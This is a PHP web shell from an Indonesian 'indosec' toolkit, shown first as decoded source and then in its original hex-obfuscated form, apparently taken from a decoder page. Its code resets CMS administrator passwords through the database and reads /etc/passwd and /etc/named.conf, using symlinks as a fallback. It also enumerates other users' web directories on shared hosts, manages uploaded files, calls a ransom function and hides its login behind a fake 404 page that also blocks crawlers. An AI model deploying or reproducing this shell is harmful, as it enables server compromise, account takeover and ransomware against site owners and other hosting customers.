"'DB_PASSWORD', '", "'"); $IIIIIIlIl1ll = IIIIIIII11l1($config, "'DB_DATABASE', '", "'"); $IIIIIIlIl1l1 = IIIIIIII11l1($config, "'DB_PREFIX', '", "'"); $IIIIIIlIl11I = $IIIIIIlIl1l1 . "user"; $IIIIIIlIl11l = mysql_connect($IIIIIIlIl1Il, $IIIIIIlIl1I1, $IIIIIIlIl1lI); $IIIIIIlI1III = mysql_select_db($IIIIIIlIl1ll); $IIIIIIlI1IIl = mysql_query("SELECT * FROM {$IIIIIIlIl11I} ORDER BY user_id ASC"); $IIIIIIlII1l1 = mysql_fetch_array($IIIIIIlI1IIl); $id = $IIIIIIlII1l1[user_id]; $target = IIIIIIII11l1($config, "HTTP_SERVER', '", "'"); if ($target == '') { $IIIIIIlI1llI = "Login => <font color=red>Error, Tidak dapat mengambil nama domainnya</font><br>"; } else { $IIIIIIlI1llI = "Login => <a href='{$target}' target='_blank'><u>{$target}</u></a><br>"; } $IIIIIIlI1Il1 = mysql_query("UPDATE {$IIIIIIlIl11I} SET username='{$user_baru}',password='{$pass_baru}' WHERE user_id='{$id}'"); echo "Config => " . $IIIIIIlIll11 . "<br>"; echo "CMS => OpenCart<br>"; echo $IIIIIIlI1llI; if (!$IIIIIIlI1Il1 or !$IIIIIIlIl11l or !$IIIIIIlI1III) { echo "Status => <font color=red>" . mysql_error() . "</font><br><br>"; } else { echo "Status => <font color=lime>Sukses, Silakan login dengan User & Password yang baru.</font><br><br>"; } mysql_close($IIIIIIlIl11l); } elseif (preg_match("/panggil fungsi validasi xss dan injection/", $config)) { $IIIIIIlIl1Il = IIIIIIII11l1($config, "server = "", """); $IIIIIIlIl1I1 = IIIIIIII11l1($config, "username = "", """); $IIIIIIlIl1lI = IIIIIIII11l1($config, "password = "", """); $IIIIIIlIl1ll = IIIIIIII11l1($config, "database = "", """); $IIIIIIlIl11I = "users"; $IIIIIIlI1I11 = "identitas"; $IIIIIIlIl11l = mysql_connect($IIIIIIlIl1Il, $IIIIIIlIl1I1, $IIIIIIlIl1lI); $IIIIIIlI1III = mysql_select_db($IIIIIIlIl1ll); $IIIIIIlI1IIl = mysql_query("SELECT * FROM {$IIIIIIlI1I11} ORDER BY id_identitas ASC"); $IIIIIIlII1l1 = mysql_fetch_array($IIIIIIlI1IIl); $target = $IIIIIIlII1l1[alamat_website]; if ($target == '') { $IIIIIIlI1lll = $IIIIIIlII1l1[url]; $IIIIIIlI1llI = "Login => <font color=red>Error, Tidak dapat mengambil nama domainnya</font><br>"; if ($IIIIIIlI1lll == '') { $IIIIIIlI1ll1 = "Login => <font color=red>Error, Tidak dapat mengambil nama domainnya</font><br>"; } else { $IIIIIIlI1l1I = file_get_contents("{$IIIIIIlI1lll}/adminweb/"); $IIIIIIlI1l1l = file_get_contents("{$IIIIIIlI1lll}/lokomedia/adminweb/"); if (preg_match("/CMS Lokomedia|Administrator/", $IIIIIIlI1l1I)) { $IIIIIIlI1ll1 = "Login => <a href='{$IIIIIIlI1lll}/adminweb' target='_blank'><u>{$IIIIIIlI1lll}/adminweb</u></a><br>"; } elseif (preg_match("/CMS Lokomedia|Lokomedia/", $IIIIIIlI1l1l)) { $IIIIIIlI1ll1 = "Login => <a href='{$IIIIIIlI1lll}/lokomedia/adminweb' target='_blank'><u>{$IIIIIIlI1lll}/lokomedia/adminweb</u></a><br>"; } else { $IIIIIIlI1ll1 = "Login => <a href='{$IIIIIIlI1lll}' target='_blank'><u>{$IIIIIIlI1lll}</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>"; } } } else { $IIIIIIlI1l11 = file_get_contents("{$target}/adminweb/"); $IIIIIIlI11II = file_get_contents("{$target}/lokomedia/adminweb/"); if (preg_match("/CMS Lokomedia|Administrator/", $IIIIIIlI1l11)) { $IIIIIIlI1llI = "Login => <a href='{$target}/adminweb' target='_blank'><u>{$target}/adminweb</u></a><br>"; } elseif (preg_match("/CMS Lokomedia|Lokomedia/", $IIIIIIlI11II)) { $IIIIIIlI1llI = "Login => <a href='{$target}/lokomedia/adminweb' target='_blank'><u>{$target}/lokomedia/adminweb</u></a><br>"; } else { $IIIIIIlI1llI = "Login => <a href='{$target}' target='_blank'><u>{$target}</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>"; } } $IIIIIIlI1Il1 = mysql_query("UPDATE {$IIIIIIlIl11I} SET username='{$user_baru}',password='{$pass_baru}' WHERE level='admin'"); echo "Config => " . $IIIIIIlIll11 . "<br>"; echo "CMS => Lokomedia<br>"; if (preg_match("/Error, Tidak dapat mengambil nama domainnya/", $IIIIIIlI1llI)) { echo $IIIIIIlI1ll1; } else { echo $IIIIIIlI1llI; } if (!$IIIIIIlI1Il1 or !$IIIIIIlIl11l or !$IIIIIIlI1III) { echo "Status => <font color=red>" . mysql_error() . "</font><br><br>"; } else { echo "Status => <font color=lime>Sukses, Silakan login dengan User & Password yang baru.</font><br><br>"; } mysql_close($IIIIIIlIl11l); } } } } else { echo "<h3 class='text-center mb-4'>Auto Edit User</h3>\xa<form method='post'>\xa<h5>Lokasi Dir Config</h5>\xa<input type='text' class='form-control mb-3' name='config_dir' value='{$dir}'>
<h5>Set User & Pass :</h5>\xa<input type='text' name='user_baru' value='indosec' class='form-control mb-3' placeholder='Set Username'>
<input type='text' name='pass_baru' value='indosec' class='form-control mb-4' placeholder='Set Password'>
<input type='submit' name='hajar' value='Edit User' class='btn btn-danger btn-block'>\xa</form>
<p class='text-muted mb-4'>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</p>"; } die; } goto uaM2x; jeZQ1: if (isset($_GET["file"])) { $file = $_GET["file"]; } goto xbzJ0; t7X4R: ini_set("html_errors", 0); goto U01q1; smfiU: foreach ($IIIIIIllllI1 as $file) { $IIIIIIlll1II = date("d/m/y G:i", filemtime("{$path}/{$file}")); if (!is_file($path . "/" . $file)) { continue; } echo "<tr class="text-center">\xa<td class="pinggir"><img src=""; $IIIIIIlll1Il = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if ($IIIIIIlll1Il == "php") { echo "https://www.shareicon.net/data/256x256/2015/09/07/97431_document_512x512.png""; } elseif ($IIIIIIlll1Il == "html") { echo "https://www.shareicon.net/data/256x256/2016/05/06/760858_html_512x512.png""; } elseif ($IIIIIIlll1Il == "css") { echo "https://www.shareicon.net/data/256x256/2016/05/06/760855_css_512x512.png""; } elseif ($IIIIIIlll1Il == "png") { echo "https://cdn.iconscout.com/icon/premium/png-256-thumb/png-file-20-504395.png""; } elseif ($IIIIIIlll1Il == "jpg") { echo "https://cdn.iconscout.com/icon/premium/png-256-thumb/jpg-file-20-504389.png""; } elseif ($IIIIIIlll1Il == "jpeg") { echo "https://cdn.iconscout.com/icon/premium/png-256-thumb/jpg-file-20-504389.png""; } elseif ($IIIIIIlll1Il == "zip") { echo "https://www.shareicon.net/data/256x256/2016/06/23/613678_zip_256x256.png""; } elseif ($IIIIIIlll1Il == "js") { echo "https://www.shareicon.net/data/256x256/2016/05/06/760859_file_512x512.png"; } elseif ($IIIIIIlll1Il == "ttf") { echo "https://image.flaticon.com/icons/png/128/1126/1126892.png"; } elseif ($IIIIIIlll1Il == "otf") { echo "https://image.flaticon.com/icons/png/128/1126/1126891.png"; } elseif ($IIIIIIlll1Il == "txt") { echo "https://iconarchive.com/download/i83626/pelfusion/flat-file-type/txt.ico"; } elseif ($IIIIIIlll1Il == "ico") { echo "https://image.flaticon.com/icons/png/128/1126/1126873.png"; } elseif ($IIIIIIlll1Il == "conf") { echo "https://image.flaticon.com/icons/png/512/1573/1573301.png"; } elseif ($IIIIIIlll1Il == "htaccess") { echo "https://image.flaticon.com/icons/png/128/1720/1720444.png"; } elseif ($IIIIIIlll1Il == "sh") { echo "https://image.flaticon.com/icons/png/128/617/617535.png"; } elseif ($IIIIIIlll1Il == "py") { echo "https://image.flaticon.com/icons/png/128/180/180867.png"; } elseif ($IIIIIIlll1Il == "indsc") { echo "https://image.flaticon.com/icons/png/512/1265/1265511.png"; } elseif ($IIIIIIlll1Il == "sql") { echo "https://img.icons8.com/ultraviolet/2x/data-configuration.png"; } elseif ($IIIIIIlll1Il == "pl") { echo "http://i.imgur.com/PnmX8H9.png"; } elseif ($IIIIIIlll1Il == "pdf") { echo "https://image.flaticon.com/icons/png/128/136/136522.png"; } elseif ($IIIIIIlll1Il == "mp4") { echo "https://image.flaticon.com/icons/png/128/136/136545.png"; } elseif ($IIIIIIlll1Il == "mp3") { echo "https://image.flaticon.com/icons/png/128/136/136548.png"; } elseif ($IIIIIIlll1Il == "git") { echo "https://image.flaticon.com/icons/png/128/617/617509.png"; } elseif ($IIIIIIlll1Il == "md") { echo "https://image.flaticon.com/icons/png/128/617/617520.png"; } else { echo "http://icons.iconarchive.com/icons/zhoolego/material/256/Filetype-Docs-icon.png"; } echo "" class="ico2"></img>"; if (strlen($file) > 50) { $IIIIIIlll1lI = substr($file, 0, 50) . "...-." . $IIIIIIlll1Il; } else { $IIIIIIlll1lI = $file; } echo "<a class="ml-3" href="?dir=" . $path . "&aksi=view&file=" . $path . "/" . $file . "">" . $IIIIIIlll1lI . "</a></td>\xa<td>" . IIIIIIII1l11(filesize($file)) . "</td>
<td>" . $IIIIIIlll1II . "</td>\xa<td><a href="?dir=" . $path . "&aksi=chmod_file&file=" . $path . "/" . $file . "" class="text-center">"; if (is_writable($path . "/" . $file)) { echo "<font color="#00ff00">"; } elseif (!is_readable($path . "/" . $file)) { echo "<font color="red">"; } echo fileperms($path . "/" . $file); if (is_writable($path . "/" . $file) || !is_readable($path . "/" . $file)) { echo "</font></a></td>
<td class="d-flex">
<a title="Lihat" class="badge badge-info" href="?dir=" . $path . "&aksi=view&file=" . $path . "/" . $file . ""> <i class="fa fa-eye"></i> </a>
<a title="Edit" class="badge badge-success" href="?dir=" . $path . "&aksi=edit&file=" . $path . "/" . $file . ""> <i class="far fa-edit"></i> </a>
<a title="Rename" class="badge badge-success" href="?dir=" . $path . "&aksi=rename&file=" . $path . "/" . $file . ""> <i class="fa fa-pencil"></i> </a> \xa<a title="Delete" class="badge badge-danger" href="?dir=" . $path . "&aksi=hapusf&file=" . $path . "/" . $file . "" title="Delete"> <i class="fa fa-trash"></i> </a> \xa<a title="Download" class="badge badge-primary" href="?&dir=" . $path . "&aksi=download&file=" . $path . "/" . $file . "" title="Download"> <i class="fa fa-download"></i> </a>\xa</td>
</tr>"; } } goto ViFig; avNPj: ini_set("display_startup_errors", 0); goto Uibm2; uZ0YP: if ($_GET["aksi"] == "protected") { IIIIIIIlI1l1($dir, $IIIIIIII1l1I); } goto jT_fe; NmL7d: function IIIIIIIlIl1I($IIIIIIIlIl1l, $IIIIIIIlIl11, $dir) { echo "<script>Swal.fire({\xatitle: '{$IIIIIIIlIl1l}',\xatext: '{$IIIIIIIlIl11}',\xatype: '{$IIIIIIIlIl1l}',\xa}).then((value) => {window.location='?dir={$dir}';})</script>"; } goto OPGhy; GeTM0: function printLoginx() { if (!empty($_SERVER["HTTP_USER_AGENT"])) { $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); if (preg_match("/" . implode("|", $userAgents) . "/i", $_SERVER["HTTP_USER_AGENT"])) { header("HTTP/1.0 404 Not Found"); die; } } die("<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>404 Page Not Found</title> <meta name="robots" content="noindex,nofollow,noarchive"/> <style type="text/css"> ::selection{background-color:#e13300;color:#fff}::-moz-selection{background-color:#e13300;color:#fff}body{background-color:#fff;margin:40px;font:13px/20px normal Helvetica,Arial,sans-serif;color:#4f5155}a{color:#039;background-color:transparent;font-weight:400}h1{color:#444;background-color:transparent;border-bottom:1px solid #d0d0d0;font-size:19px;font-weight:400;margin:0 0 14px 0;padding:14px 15px 10px 15px}code{font-family:Consolas,Monaco,Courier New,Courier,monospace;font-size:12px;background-color:#f9f9f9;border:1px solid #d0d0d0;color:#002166;display:block;margin:14px 0 14px 0;padding:12px 10px 12px 10px}#container{margin:10px;border:1px solid #d0d0d0;box-shadow:0 0 8px #d0d0d0}p{margin:12px 15px 12px 15px}input[type=password],input[type=submit]{width:250px;height:25px;color:#fff;background:0 0;border:1px solid #fff;margin-left:20px;text-align:center}</style> </head> <body> <div id="container"> <h1>404 Page Not Found</h1> <p>The page you requested was not found.</p></div><pre align=center><form method=post><input type=password name=" . $_SESSION["keyxx"] . " required></form></pre>" </body> </html>"); } goto vtYak; QTjBe: function IIIIIIIll11I($dir, $file, $IIIIIIIlllIl, $IIIIIIII1l1l) { echo "[ <a href="?dir=" . $dir . "&aksi=view&file=" . $file . "">Lihat</a> ] [ <a href="?dir=" . $dir . "&aksi=edit&file=" . $file . "">Edit</a> ] [ <a class="active" href="?dir=" . $dir . "&aksi=rename&file=" . $file . "">Rename</a> ] [ <a href="?dir=" . $dir . "&aksi=hapusf&file=" . $file . "">Delete</a> ]"; echo "<form method='POST'>
<h5>{$IIIIIIII1l1l} Rename File : {$IIIIIIIlllIl}</h5>\xa<input type='text' class='form-control' name='namanew' placeholder='Masukan Nama Baru...' value='{$IIIIIIIlllIl}'><br/>\xa<button type='sumbit' class='btn btn-success btn-block mb-5' name='rename_file'>Rename</button>\xa</form>"; if (isset($_POST["rename_file"])) { $IIIIIIIll11l = $file; $IIIIIIIll111 = $_POST["namanew"]; rename($IIIIIIIll111, $IIIIIIIll11l); if (file_exists($IIIIIIIll111)) { $IIIIIIIlIl1l = "success"; $IIIIIIIlIl11 = "Nama {$IIIIIIIll111} Telah Digunakan"; IIIIIIIlIl1I($IIIIIIIlIl1l, $IIIIIIIlIl11, $dir); } else { if (rename($IIIIIIIll11l, $IIIIIIIll111)) { $IIIIIIIlIl1l = "success"; $IIIIIIIlIl11 = "Berhasil Mengganti Nama Menjadi {$IIIIIIIll111}"; IIIIIIIlIl1I($IIIIIIIlIl1l, $IIIIIIIlIl11, $dir); } else { $IIIIIIIlIl1l = "error"; $IIIIIIIlIl11 = "Gagal Mengganti Nama"; IIIIIIIlIl1I($IIIIIIIlIl1l, $IIIIIIIlIl11, $dir); } } } } goto qQr2R; wC9kh: $mail = function_exists("mail") ? " <font color=green> ON </font> " : " <font color=red> OFF </font> "; goto Cw8oI; y70kv: function w($dir, $perm) { if (!is_writable($dir)) { return "<font color='red'>" . $perm . "</font>"; } else { return "<font color='lime'>" . $perm . "</font>"; } } goto wYL_b; PdaGD: function IIIIIII11lI1($dir, $file) { echo "read /etc/named.conf
<form method='post' action='?dir={$dir}&aksi=symread&save=1'>\xa<textarea class='form-control' rows='13' name='file'>"; flush(); flush(); $file = "/etc/named.conf"; $IIIIIII11llI = @fopen($file, "r"); if ($IIIIIII11llI) { $IIIIIII11lll = @fread($IIIIIII11llI, @filesize($file)); echo '' . htmlentities($IIIIIII11lll) . ''; } else { if (!$IIIIIII11llI) { $IIIIIII11llI = @show_source($file); } else { if (!$IIIIIII11llI) { $IIIIIII11llI = @highlight_file($file); } else { if (!$IIIIIII11llI) { $IIIIIII11l11 = @symlink($file, "sym.txt"); if ($IIIIIII11l11) { $IIIIIII11llI = @fopen("indosec_sym/sym.txt", "r"); $IIIIIII11lll = @fread($IIIIIII11llI, @filesize($file)); echo '' . htmlentities($IIIIIII11lll) . ''; } } } } } echo "</textarea><br/><input type='submit' class='btn btn-danger form-control' value='Save'/> </form>"; if (isset($_GET["save"])) { $IIIIIII111Il = stripcslashes($_POST["file"]); $IIIIIII1IlII = fopen("named.txt", "w"); $w = fwrite($IIIIIII1IlII, $IIIIIII111Il); if ($w) { echo "<br/>save has been successfully"; } fclose($IIIIIII1IlII); } die; } goto ASzE7; rOCVT: function IIIIIIIllIll($dir) { echo "<form method="POST" enctype="multipart/form-data" name="uploader" id="uploader">\xa<div class="card mb-5">
<div class="card-body form-group">\xa<p class="text-muted">Multiple Upload</p>\xa<div class="custom-file">
<input type="file" name="file[]" multiple class="custom-file-input" id="customFile">
<label class="custom-file-label" for="customFile">Choose file</label>\xa</div>
<input type="submit" class="btn btn-sm btn-primary btn-block mt-4 p-2" name="upload" value="Upload">\xa</div>
</div>\xa</form>"; if (isset($_POST["upload"])) { $IIIIIIIllIl1 = count($_FILES["file"]["name"]); for ($IIIIIIII11I1 = 0; $IIIIIIII11I1 < $IIIIIIIllIl1; $IIIIIIII11I1++) { $IIIIIIIllI1I = $_FILES["file"]["name"][$IIIIIIII11I1]; $IIIIIIIllI1l = @copy($_FILES["file"]["tmp_name"][$IIIIIIII11I1], "{$dir}/" . $IIIIIIIllI1I); } if ($IIIIIIIllIl1 < 2) { if ($IIIIIIIllI1l) { $IIIIIIIlIl1l = "success"; $IIIIIIIlIl11 = "Berhasil Upload {$IIIIIIIllI1I}"; IIIIIIIlIl1I($IIIIIIIlIl1l, $IIIIIIIlIl11, $dir); } else { $IIIIIIIlIl1l = "error"; $IIIIIIIlIl11 = "Gagal Upload File"; IIIIIIIlIl1I($IIIIIIIlIl1l, $IIIIIIIlIl11, $dir); } } else { $IIIIIIIlIl1l = "success"; $IIIIIIIlIl11 = "Berhasil Upload {$IIIIIIIllIl1} File"; IIIIIIIlIl1I($IIIIIIIlIl1l, $IIIIIIIlIl11, $dir); } } } goto G7maZ; pSUP2: $IIIIIIII1l1l = "<img src='http://icons.iconarchive.com/icons/zhoolego/material/256/Filetype-Docs-icon.png' class='ico2'></img>"; goto jGTWq; mMLat: $IIIIIIIIl111 = php_uname(); goto w0veY; a5AKJ: $path = str_replace("\", "/", $path); goto NfE3m; GakLC: $IIIIIIIIl1l1 = explode("/", $path); goto EKsMQ; IRMhO: if ($_GET["aksi"] == "view") { view($dir, $file, $IIIIIIIlllIl, $IIIIIIII1l1l); } goto A1xmA; Y0d0y: echo "</div></div>\xa</div></div></div>
</body>\xa</html>"; ?>
Did this file decode correctly?
Original Code
<?php
goto GpOwm; BxahF: if ($_GET["\x61\153\x73\151"] == "\x73\x79\x6d\x72\145\141\144") { IIIIIII11lI1($dir, $file); } goto qk_sa; Y0Kw9: if ($_GET["\x61\x6b\163\151"] == "\x72\x61\x6e\x73\x6f\155") { ransom($dir, $file); } goto PS3VR; lzT0f: if ($_GET["\x61\x6b\x73\x69"] == "\142\x75\x61\164\137\146\x69\x6c\x65") { IIIIIIIlllll($dir, $IIIIIIII1l1l); } goto IRMhO; jGTWq: function IIIIIIII1l11($IIIIIIII11II) { $IIIIIIII11Il = array("\x42", "\x4b\x42", "\115\x42", "\107\102", "\x54\102"); for ($IIIIIIII11I1 = 0; $IIIIIIII11II >= 1024 && $IIIIIIII11I1 < count($IIIIIIII11Il) - 1; $IIIIIIII11II /= 1024, $IIIIIIII11I1++) { } return round($IIIIIIII11II, 2) . "\x20" . $IIIIIIII11Il[$IIIIIIII11I1]; } goto tgxbG; mi15o: function IIIIIII1IIlI($dir, $file, $IIIIIIII1III) { $IIIIIIII11I1 = 0; echo "\x3c\x64\151\x76\40\143\154\141\x73\x73\75\x27\x63\x61\x72\144\x20\143\157\156\x74\x61\x69\x6e\145\x72\x27\76"; if (preg_match("\57\x68\163\x70\150\x65\162\145\57", $dir)) { $IIIIIII1IIl1 = explode("\xa", $_POST["\165\x72\154"]); if (isset($_POST["\x6a\165\155\160"])) { echo "\x3c\160\162\145\76"; foreach ($IIIIIII1IIl1 as $url) { $url = str_replace(array("\150\164\x74\x70\x3a\57\x2f", "\x77\167\167\56"), '', strtolower($url)); $IIIIIII1II11 = "\x2f\x65\164\143\57\x70\141\x73\163\x77\x64"; $IIIIIII1IlII = fopen($IIIIIII1II11, "\162"); while ($IIIIIII1IlIl = fgets($IIIIIII1IlII)) { $IIIIIII1IlI1 = explode("\x3a", $IIIIIII1IlIl); $user = $IIIIIII1IlI1[0]; $IIIIIII1Illl = "\57\x68\163\x70\150\x65\x72\145\57\154\x6f\143\x61\154\x2f\150\157\155\x65\x2f{$user}"; if (is_dir($IIIIIII1Illl) === true) { $IIIIIII1Ill1 = $IIIIIII1Illl . "\x2f" . $url; if (is_readable($IIIIIII1Ill1)) { $IIIIIIII11I1++; $IIIIIII1Il1I = "\x5b\74\x66\157\x6e\x74\x20\x63\157\154\157\162\x3d\147\162\145\x65\x6e\x3e\x52\x3c\x2f\x66\x6f\156\164\76\135\40\74\x61\40\150\162\145\x66\x3d\x27\77\x64\x69\162\x3d{$IIIIIII1Ill1}\x27\76\x3c\146\x6f\x6e\x74\40\143\x6f\x6c\x6f\162\75\x23\60\x30\64\x36\106\x46\x3e{$IIIIIII1Ill1}\74\57\146\157\156\164\76\x3c\57\x61\x3e"; if (is_writable($IIIIIII1Ill1)) { $IIIIIII1Il1I = "\133\74\x66\x6f\156\x74\x20\x63\x6f\x6c\x6f\x72\75\147\x72\x65\x65\x6e\x3e\122\x57\74\57\146\157\x6e\x74\x3e\135\40\x3c\x61\x20\x68\162\145\146\75\47\77\x64\151\x72\x3d{$IIIIIII1Ill1}\47\x3e\74\146\x6f\156\x74\x20\x63\157\154\x6f\162\75\43\x30\60\64\x36\106\x46\76{$IIIIIII1Ill1}\x3c\57\146\157\x6e\x74\x3e\74\57\141\76"; } echo $IIIIIII1Il1I . "\74\x62\162\76"; } } } } if (!$IIIIIIII11I1 == 0) { echo "\74\x62\162\x3e\124\x6f\x74\141\x6c\x20\141\x64\x61\40{$IIIIIIII11I1}\x20\113\x41\x4d\101\x52\40\144\151\x20{$IIIIIIII1III}"; } echo "\x3c\x2f\x70\162\x65\x3e"; } else { echo "\x3c\143\x65\x6e\x74\145\162\x3e\74\x66\x6f\162\x6d\x20\x6d\x65\164\x68\x6f\x64\x3d\42\160\157\163\164\x22\x3e\12\114\151\163\164\40\x44\157\x6d\141\x69\156\163\x3a\x20\x3c\142\x72\76\12\74\164\x65\x78\x74\141\162\145\x61\40\156\141\155\x65\75\42\165\162\154\x22\x20\x63\154\x61\x73\x73\x3d\42\x66\x6f\162\x6d\x2d\143\157\156\164\x72\x6f\x6c\42\76"; $IIIIIII1Il1l = fopen("\x2f\x68\163\160\150\x65\x72\x65\x2f\154\157\x63\141\154\x2f\x63\x6f\156\x66\151\x67\x2f\x68\164\164\x70\x64\57\x73\151\x74\x65\x73\57\163\151\x74\145\163\56\164\170\x74", "\162"); while ($IIIIIII1Il11 = fgets($IIIIIII1Il1l)) { echo $IIIIIII1Il11; } echo "\74\57\x74\x65\170\164\141\162\x65\x61\x3e\x3c\142\162\76\12\x3c\151\x6e\160\165\x74\40\164\171\x70\145\x3d\42\x73\x75\142\155\x69\x74\x22\40\x76\141\154\x75\x65\x3d\42\112\x75\x6d\160\151\156\147\x22\x20\x6e\x61\155\145\75\42\x6a\165\155\160\x22\x20\143\154\x61\x73\163\75\42\x62\164\x6e\x20\x62\x74\156\55\144\141\156\x67\x65\162\40\x62\164\x6e\x2d\x62\154\x6f\143\x6b\42\76\12\74\57\146\157\162\155\76\x3c\57\x63\x65\x6e\x74\x65\x72\x3e"; } } elseif (preg_match("\x2f\166\150\157\163\164\163\57", $dir)) { $IIIIIII1IIl1 = explode("\12", $_POST["\165\x72\x6c"]); if (isset($_POST["\x6a\x75\155\x70"])) { echo "\74\160\162\145\76"; foreach ($IIIIIII1IIl1 as $url) { $IIIIIII1I1II = "\x2f\x76\141\x72\57\x77\167\x77\x2f\166\x68\x6f\163\x74\163\x2f{$url}\x2f\x68\x74\x74\x70\x64\157\x63\163"; if (is_dir($IIIIIII1I1II) === true) { if (is_readable($IIIIIII1I1II)) { $IIIIIIII11I1++; $IIIIIII1Il1I = "\x5b\74\x66\x6f\156\x74\x20\143\x6f\x6c\157\162\x3d\147\162\x65\145\156\x3e\x52\74\x2f\x66\157\156\164\x3e\135\40\x3c\141\x20\150\x72\x65\146\x3d\x27\77\144\151\162\75{$IIIIIII1I1II}\47\76\x3c\146\157\x6e\164\x20\143\157\154\157\x72\x3d\43\x30\60\x34\66\x46\106\76{$IIIIIII1I1II}\74\57\x66\157\x6e\164\76\x3c\x2f\141\x3e"; if (is_writable($IIIIIII1I1II)) { $IIIIIII1Il1I = "\133\x3c\x66\157\156\x74\x20\143\157\154\157\x72\x3d\x67\x72\x65\145\x6e\x3e\122\127\x3c\57\146\x6f\156\x74\76\135\x20\x3c\141\40\x68\162\x65\x66\75\47\x3f\x64\x69\x72\x3d{$IIIIIII1I1II}\x27\x3e\x3c\x66\x6f\156\164\40\143\x6f\154\157\162\x3d\43\60\x30\64\x36\x46\x46\76{$IIIIIII1I1II}\x3c\57\146\x6f\156\x74\76\74\x2f\141\76"; } echo $IIIIIII1Il1I . "\x3c\142\x72\x3e"; } } } if (!$IIIIIIII11I1 == 0) { echo "\74\x62\x72\76\x54\x6f\164\141\x6c\x20\141\x64\141\40{$IIIIIIII11I1}\x20\x4b\x61\x6d\x61\x72\40\104\151\40{$IIIIIIII1III}"; } echo "\74\x2f\x70\x72\x65\x3e"; } else { echo "\74\143\x65\156\x74\x65\162\x3e\x3c\x66\x6f\x72\x6d\x20\155\x65\164\150\157\144\x3d\42\160\x6f\x73\164\42\76\12\114\151\x73\x74\40\104\x6f\x6d\141\151\156\x73\72\x20\74\x62\162\x3e\12\x3c\x74\x65\170\164\141\x72\x65\141\40\156\141\x6d\x65\75\42\x75\162\x6c\42\40\x63\154\x61\163\x73\x3d\x22\146\x6f\x72\155\x2d\x63\157\156\x74\162\157\x6c\x22\76"; bing("\x69\160\72{$IIIIIIII1III}"); echo "\x3c\x2f\x74\145\170\x74\141\162\145\141\76\74\x62\x72\76\xa\x3c\x69\156\160\x75\x74\40\164\171\160\x65\x3d\42\x73\165\x62\155\151\164\x22\x20\x76\x61\x6c\x75\145\75\x22\112\x75\x6d\160\x69\156\147\x22\40\x6e\x61\x6d\x65\75\x22\152\165\155\160\x22\x20\x63\x6c\x61\163\163\75\x22\x62\164\x6e\40\142\x74\156\x2d\144\x61\x6e\x67\145\x72\40\142\x74\x6e\x2d\142\154\x6f\x63\153\x22\x3e\12\x3c\x2f\146\157\162\x6d\76\x3c\57\x63\145\156\164\145\162\76"; } } else { echo "\74\160\162\x65\76"; $IIIIIII1II11 = fopen("\57\x65\164\143\57\160\x61\163\163\x77\144", "\x72") or die("\74\x66\157\156\164\x20\143\x6f\154\157\x72\75\162\145\144\76\x43\x61\x6e\47\x74\40\162\145\x61\x64\x20\x2f\145\x74\x63\57\x70\141\x73\163\167\144\x3c\57\146\x6f\x6e\164\76\x3c\x62\x72\x2f\x3e"); while ($passwd = fgets($IIIIIII1II11)) { if ($passwd == '' || !$IIIIIII1II11) { echo "\74\x66\157\x6e\164\40\143\157\x6c\x6f\x72\75\162\145\x64\x3e\x43\x61\156\47\164\x20\x72\145\x61\144\x20\x2f\x65\164\x63\x2f\x70\x61\163\163\x77\x64\x3c\57\146\157\x6e\x74\76\x3c\x62\162\57\76"; } else { preg_match_all("\x2f\50\x2e\52\x3f\51\72\170\72\x2f", $passwd, $IIIIIII1I1I1); foreach ($IIIIIII1I1I1[1] as $IIIIIII1I1lI) { $IIIIIII1I1ll = "\x2f\x68\x6f\x6d\x65\57{$IIIIIII1I1lI}\x2f\160\165\x62\x6c\151\x63\137\x68\x74\x6d\154"; if (is_readable($IIIIIII1I1ll)) { $IIIIIIII11I1++; $IIIIIII1Il1I = "\133\x3c\x66\157\156\x74\x20\143\157\154\157\162\x3d\x67\x72\x65\x65\156\76\x52\x3c\x2f\146\157\156\x74\76\135\40\x3c\141\x20\150\x72\x65\x66\75\x27\77\x64\x69\x72\x3d{$IIIIIII1I1ll}\47\76\74\146\x6f\156\164\x20\143\157\154\x6f\162\75\x23\60\60\64\x36\106\x46\x3e{$IIIIIII1I1ll}\74\57\146\157\156\x74\x3e\x3c\57\x61\x3e"; if (is_writable($IIIIIII1I1ll)) { $IIIIIII1Il1I = "\133\74\146\157\x6e\x74\40\x63\x6f\x6c\x6f\x72\75\x67\x72\145\x65\156\x3e\x52\x57\74\57\x66\157\156\x74\x3e\x5d\40\x3c\141\x20\150\162\x65\x66\x3d\47\x3f\144\151\x72\75{$IIIIIII1I1ll}\x27\76\74\146\x6f\x6e\164\x20\143\x6f\154\157\162\x3d\x23\60\60\x34\x36\106\106\x3e{$IIIIIII1I1ll}\74\57\146\x6f\156\164\76\x3c\x2f\x61\x3e"; } echo $IIIIIII1Il1I; if (function_exists("\x70\157\163\151\x78\x5f\x67\145\164\160\x77\x75\x69\144")) { $IIIIIII1I1l1 = file_get_contents("\57\x65\x74\x63\x2f\156\141\155\x65\x64\56\143\157\156\146"); if ($IIIIIII1I1l1 == '') { echo "\40\x3d\76\40\50\40\74\x66\x6f\x6e\x74\x20\x63\x6f\154\157\x72\75\162\145\144\x3e\147\x61\142\151\163\x61\40\x61\155\142\x69\x6c\40\x6e\141\155\141\x20\x64\157\155\x61\x69\x6e\x20\x6e\x79\141\x3c\x2f\146\157\156\164\76\40\x29\74\142\162\x3e"; } else { preg_match_all("\43\57\166\141\x72\x2f\156\141\155\x65\144\x2f\x28\56\52\77\51\x2e\x64\x62\43", $IIIIIII1I1l1, $IIIIIII1I11I); foreach ($IIIIIII1I11I[1] as $IIIIIII1I11l) { $IIIIIII1I111 = posix_getpwuid(@fileowner("\x2f\145\x74\x63\57\x76\x61\154\x69\x61\163\145\163\x2f{$IIIIIII1I11l}")); $IIIIIII1I111 = $IIIIIII1I111["\156\141\155\145"]; if ($IIIIIII1I111 == $IIIIIII1I1lI) { echo "\x20\x3d\x3e\40\50\40\x3c\165\76{$IIIIIII1I11l}\74\x2f\165\76\x20\51\74\142\162\x3e"; break; } } } } else { echo "\x3c\x62\162\x3e"; } } } } } if (!$IIIIIIII11I1 == 0) { echo 